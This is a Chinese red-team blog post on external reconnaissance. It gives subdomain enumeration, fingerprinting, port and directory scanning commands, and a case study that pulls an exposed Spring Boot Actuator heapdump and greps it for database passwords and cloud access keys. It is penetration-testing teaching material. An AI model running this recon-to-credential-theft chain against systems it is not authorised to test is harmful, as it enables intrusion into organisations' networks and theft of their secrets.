一个被我忽略的子域名,成了黑客攻破内网的第一道门

一个被我忽略的子域名,成了黑客攻破内网的第一道门

红队外网打点实战系列 · 第1篇:信息收集与资产测绘

每个漏洞挖掘,都是从"扫"开始的

去年帮某金融公司做红队评估,甲方给了个目标域名:examplebank.cn,说是他们对外服务的核心域名。常规操作:Nmap扫端口、Dirsearch跑目录、WhatWeb看指纹——一整套流水线下来,只发现一个Nginx默认页和一个404。

不对,太干净了。真实业务不可能只有这些。

我随手查了一下这个域名的DNS记录,看到一个不起眼的子域名:

dev-api.examplebank.cn

没有用字典爆破,没有用工具,就是一条简单的dig命令:

dig axfr examplebank.cn @ns1.examplebank.cn

虽然域传送失败了,但这条记录就躺在权威DNS服务器返回的SOA记录当中。我手工试了一下:

curl -v https://dev-api.examplebank.cn/actuator

返回了200,正文赫然写着:

{
  "_links": {
    "health": {"href": "/actuator/health"},
    "info": {"href": "/actuator/info"},
    "env": {"href": "/actuator/env"},
    "heapdump": {"href": "/actuator/heapdump"}
  }
}

Spring Boot Actuator 全面暴露,没有任何认证。

这就是我今天想讲的——外网打点中,最容易被忽略也最容易出成果的一步:信息收集与资产测绘。

你不需要0day,不需要复杂的手艺,只需要知道去哪挖、怎么挖。这篇文章我会把每一步的工具、命令和思路拆开,从子域名枚举到资产指纹识别,给你一条完整的外网打点路线图。


一、子域名枚举——信息收集的起点

外网打点的第一刀,永远是资产发现。你拿到的目标通常只有一个主域名,但真实业务往往分散在几十个甚至上百个子域名上。攻击者也清楚这一点——他们不会打你守得最好的正门,而是绕到没人管的侧门。

1.1 被动收集:用别人的数据,不触发告警

被动收集时,你的请求不直接发给目标服务器,而是通过第三方数据源获取。这保证了零暴露。

工具:Subfinder + SecurityTrails

# 安装 Subfinder
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

# 被动模式
subfinder -d examplebank.cn -all -o subdomains_passive.txt

# 输出示例
# api.examplebank.cn
# dev.examplebank.cn  
# admin.examplebank.cn
# mail.examplebank.cn
# cdn.examplebank.cn
# jenkins.examplebank.cn
# gitlab.examplebank.cn

手动补充——用搜索引擎挖子域名:

Google dork 在外网资产发现这个环节依然非常能打:

site:examplebank.cn -www -mail
site:examplebank.cn intitle:login
site:examplebank.cn inurl:api
site:examplebank.cn intitle:"Internal Dashboard"

实际案例:在我上一轮攻防中,一个intitle:jenkins的搜索直接找到了目标公司的Jenkins登录页——密码还是admin:admin

证书透明度(Certificate Transparency)查询:

每个HTTPS证书签发时都会被记录到公共日志中,这是攻击者最喜欢的数据源之一:

# 用 crt.sh 查询
curl -s "https://crt.sh/?q=%25.examplebank.cn&output=json" | jq -r '.[].name_value' | sort -u

# 或者用 certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=examplebank.cn&include_subdomains=true&expand=dns_names" | jq -r '.[].dns_names[]' | sort -u
⚠️ 红队经验: 被动收集阶段永远不会被蓝队发现。建议在主动扫描前,花至少30分钟做被动收集。我见过的最离谱案例——光靠crt.sh就发现了37个子域名,其中3个存在高危漏洞。

1.2 主动收集:验证存活 + 深入探测

被动拿到列表后,下一步是验证哪些子域名还活着。

# 使用 httpx 验证 HTTP 服务
cat subdomains_passive.txt | httpx -title -status-code -tech-detect -o alive_subdomains.txt

# 输出示例
# https://api.examplebank.cn [200] [Example Bank API] [nginx 1.24.0]
# https://dev.examplebank.cn [401] [Apache Tomcat/9.0.65] [Apache Tomcat]
# https://admin.examplebank.cn [302] [Login Page] [nginx + PHP]
# https://jenkins.examplebank.cn [200] [Jenkins] [Jetty + Jenkins]

主动DNS枚举(字典爆破):

当被动收集已经用完时,字典爆破是补充手段。

# 使用 puredns 去重 + 野生泛解析过滤
puredns bruteforce /usr/share/wordlists/dns/subdomains-top1million.txt examplebank.cn \
  -r /usr/share/resolvers.txt \
  -w subdomains_brute.txt
红队秘籍: 不要只盯着admindevapi这些常规词汇。试试jiraconfluencenexusregistrybackuptestuatstagingvpnsslvpn——蓝队最容易遗漏的就是这些中间件和开发环境。

二、Web指纹识别——打了谁,用什么打的

知道目标有哪些子域名还不够。你得知道每台服务器后面运行的是什么——操作系统、Web服务器、框架版本、中间件类型。

2.1 自动化指纹识别

# 使用 httpx 的技术探测(上面已经用了)
# 使用 wappalyzer(CLI 版本)
wappalyzer https://dev-api.examplebank.cn

# 使用 nuclei 的 tech-detection 模板
nuclei -l alive_subdomains.txt -t ~/nuclei-templates/tech-detect/ -o tech_stack.txt

2.2 手动验证关键指纹

自动化工具漏掉的,往往是高手手工补上的。

例1:Tomcat版本识别

curl -s http://dev.examplebank.cn:8080/ | grep "Tomcat"
# Apache Tomcat/9.0.65 - 这个版本已知存在 CVE-2023-44487(HTTP/2 Rapid Reset)

例2:Spring Boot Actuator 检测

# 批量检测 actuator 端点
for path in /actuator /actuator/health /actuator/env /actuator/heapdump /actuator/actuator; do
  code=$(curl -s -o /dev/null -w "%{http_code}" https://dev-api.examplebank.cn$path)
  echo "$path -> $code"
done

# 输出:
# /actuator -> 200 
# /actuator/health -> 200
# /actuator/env -> 200
# /actuator/heapdump -> 200 
# /actuator -> 404
真实案例: 在某次攻防演练中,我发现目标的一个/actuator/heapdump未授权访问,下载下来后用jhat解析,直接在堆转储中找到了AWS临时密钥。用这个密钥,从外网直接攻入了他们的内部S3存储——全程没有触发任何告警。因为云API调用在内部看来是"正常业务流量"。

三、存活探测与服务识别——锁定攻击面

3.1 端口扫描——不只看80和443

# 使用 naabu 快速扫描全端口(比 Nmap 快 10 倍)
naabu -host examplebank.cn -p 1-65535 -rate 1000 -o ports_full.txt

# 针对内部服务常用的非常规端口做定向扫描
naabu -host admin.examplebank.cn -p 8080,8443,9090,9443,2375,2376,6443,5000,9000,10000

常见高价值端口及其对应的服务:

端口服务攻击价值2375/2376Docker API未授权可直接接管容器6443K8s API Server暴露即沦陷9090Prometheus/Grafana可能暴露内部指标和Dashboard5000Docker Registry可能下载到内部镜像9200Elasticsearch可能直接dump全部数据27017MongoDB未授权可获取全部数据

3.2 目录扫描——找到隐藏入口

# 使用 ffuf 快速目录爆破
ffuf -u https://admin.examplebank.cn/FUZZ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -ac \
  -fc 403,404 \
  -t 50 \
  -o dir_scan.json

# 常见高价值路径
# /backup/ - 备份文件可能包含源码和配置
# /.git/ - 源码泄露
# /swagger-ui/ - API文档
# /api-docs/ - OpenAPI定义
# /console/ - 管理控制台
# /phpmyadmin/ - 数据库管理
# /server-status/ - Apache内部状态

四、实战案例:一个子域名打到内网的全部过程

好了,理论说了这么多,讲个真实案例。

红队评估目标:某中型互联网公司,主域名 xxpay.cn

第一步:被动收集(15分钟)

subfinder -d xxpay.cn -all | tee passive_subs.txt
# 发现 42 个子域名

筛选后,一个叫 staging-payment.xxpay.cn 的子域名引起了我的注意。域名前缀 "staging" 明显不是生产环境。

第二步:指纹识别(5分钟)

curl -k -v https://staging-payment.xxpay.cn:8443 2>&1 | grep "Server:"
# Server: Apache-Coyote/1.1

Tomcat + 8443 端口。Spring Boot的经典配置。

第三步:探测Actuator(30秒)

curl -k https://staging-payment.xxpay.cn:8443/actuator

返回了一整页Spring Boot Actuator端点。其中包括 heapdump

第四步:下载堆转储(2分钟)

wget https://staging-payment.xxpay.cn:8443/actuator/heapdump
# 文件大小: 1.2GB

第五步:分析堆转储(10分钟)

# 使用 jhat 或 Eclipse MAT,搜索关键词
strings heapdump | grep -i "password\|secret\|key\|token" | head -50

找到了数据库连接串:

jdbc:mysql://rds-internal.xxpay.cn:3306/payment?user=payment_app&password=Pay@2023!

以及阿里云 AccessKey:

accessKeyId: LTAI5txxxxxxxxxxxxxxxx
accessKeySecret: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

结果: 从外网一个"无人在意"的staging环境,一路打到数据库、云平台、OSS存储。整个过程耗时不到40分钟。

而这一切的起点,只是一个被忽略的子域名。


五、外网打点检查清单

每次做外网打点,我基本上都按这个清单走:

□ 被动信息收集
  □ 子域名枚举(Subfinder/crt.sh/SecurityTrails)
  □ Google Dork 搜索
  □ GitHub泄露搜索(gitrob/truffleHog)
  □ 社交媒体信息收集
  □ Wappalyzer/WhatWeb指纹识别

□ 主动探测
  □ 存活验证(httpx)
  □ 端口扫描(naabu,全端口)
  □ 目录爆破(ffuf)
  □ 敏感路径探测(actuator/swagger/.git等)

□ 漏洞验证
  □ 中间件版本漏洞
  □ 未授权访问(Docker/K8s/ES/Mongo等)
  □ 信息泄露(.git/backup/日志)
  □ 弱口令测试
红队心得: 外网打点最核心的能力不是技术,是耐心和细心。自动化工具可以帮你完成80%的工作,但剩下的20%——那些最高价值的入口——往往是手工发现的。多翻翻404页面的源代码、多看看响应头、多查一条DNS记录,这些"笨办法"至今没有自动化工具能完全替代。

下期预告

找到了入口之后,下一步怎么办?外网打点系列的第二篇,我会讲:从Web应用到内网横向移动——拿下第一台机器后,怎么不留痕迹地走下去。

包括:

  • WebShell 免杀与权限维持
  • 内网信息收集的隐藏技巧
  • 隧道搭建与流量转发
  • 域信息收集的必备工具和命令

关注「安全值班室」公众号

每天实战攻防案例 + 安全干货

关注安全值班室

posted on 2026-06-16 15:41  明.Sir  阅读(20)  评论(0)    收藏  举报

导航